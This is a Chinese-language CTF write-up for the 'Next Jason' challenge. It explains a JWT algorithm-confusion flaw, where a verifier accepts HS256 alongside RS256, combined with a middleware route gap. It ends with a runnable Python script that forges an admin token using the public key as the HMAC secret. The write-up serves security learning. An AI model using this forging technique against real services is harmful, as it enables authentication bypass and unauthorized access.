NULL CTF Next Jason:JSON 解析的边界
Next Jason
// app/token/verify/route.js
function verifyToken(token) {
// 危险:允许 HS256
return jwt.verify(token, PUBKEY, { algorithms: ['RS256', 'HS256'] });
}
verifyToken 函数在验证 JWT 时,同时允许了 RS256 (非对称加密) 和 HS256 (对称加密) 算法:
攻击路径 :
- 攻击者访问 /api/getPublicKey 获取公钥 ( public.pem )。
- 攻击者在本地伪造一个 JWT,将 Payload 设置为 { "username": "admin" } 。
- 关键步骤 :攻击者将 JWT Header 中的算法设置为 HS256 ,并使用获取到的 公钥内容作为 HMAC 签名的密钥 进行签名。
- 当服务器接收到这个 Token 时, jwt.verify 看到算法是 HS256 (在允许列表中),于是它会使用第二个参数 PUBKEY 作为对称密钥来验证签名。
- 由于攻击者正是用这个公钥内容签名的,验证将通过。
- 服务器误认为这是合法的 Admin Token,从而允许攻击者获取 Flag。
但是/api/getPublicKey收到保护
export const config = {
matcher: '/api/:path*',
};
生成 Token 和验证 Token 的路由位于:
- app/token/sign/route.js (对应 URL: /token/sign )
- app/token/verify/route.js (对应 URL: /token/verify )
我们可以利用这个配置漏洞构建以下攻击路径:
- 获取合法 Token : 直接访问未受保护的 /token/sign 接口,注册一个普通用户(非 admin),获得合法的签名 Token。
- 获取公钥 : 使用第一步获得的合法 Token,通过中间件验证,访问 /api/getPublicKey 获取公钥。
- 伪造 Admin Token : 利用获取到的公钥和 JWT 算法混淆漏洞 ,在本地伪造一个 HS256 算法的 Admin Token。
- 获取 Flag : 使用伪造的 Admin Token 访问 /api/getFlag
#!/usr/bin/env python3
import requests
import base64
from jwcrypto import jwt, jwk
# Target URL
URL = "http://3f5202780ddd.challs.ctf.r0devnull.team:8001/api/getFlag"
# 注意:这里保留原始换行符 \n(与服务器返回完全一致)
PUBKEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4QMizb2gq5HcyqmAyf0i
ihNDINXX7SG3y5VbzPzj5FEPT3PPwUgXkZESW3e2SxRMlvxW44JZqTwwOPbfGbr7
f+TolBQaIaMCsl/M/eX8dZAkS9Goui0EYZUQdtTjhLAaXFDp3zvNRlJrpvzGus8C
DvRbll6JudfdPrB2HhSUOWT5PIGPqbsW8RuWWIj8uxkLZr1zhVy+mr86mP0YisA2
h134+kIweN4CUYydrvch6mlSgRp+bnJI116egFCNX0JL1ee4oeKsWhlQNapx8FIc
Bpb8KQ4xfaJudjef0NmSEfo1w5UrhquPN+CoCDUQ1nNKAnRKrFqvZFTND/lR71s8
QQIDAQAB
-----END PUBLIC KEY-----
"""
def forge_admin_token(public_key_pem: str) -> str:
"""使用 PEM 字符串(含 \\n)作为 HS256 密钥伪造 admin token"""
secret = public_key_pem.encode() # 关键:保留所有换行
key_b64url = base64.urlsafe_b64encode(secret).decode().rstrip('=')
key = jwk.JWK(kty='oct', k=key_b64url)
token = jwt.JWT(header={"alg": "HS256"}, claims={"username": "admin"})
token.make_signed_token(key)
return token.serialize()
def main():
print("[*] Forging admin token using PEM with newlines...")
forged_token = forge_admin_token(PUBKEY_PEM)
print(f"[+] Token: {forged_token[:40]}...")
# 发送请求
cookies = {"token": forged_token}
resp = requests.get(URL, cookies=cookies)
print(f"[*] Status Code: {resp.status_code}")
print(f"[*] Response: {resp.text}")
if resp.status_code == 200 and "flag" in resp.text:
print("\n🎉 Exploit succeeded!")
else:
print("\n❌ Exploit failed. Check token or target.")
if __name__ == "__main__":
main()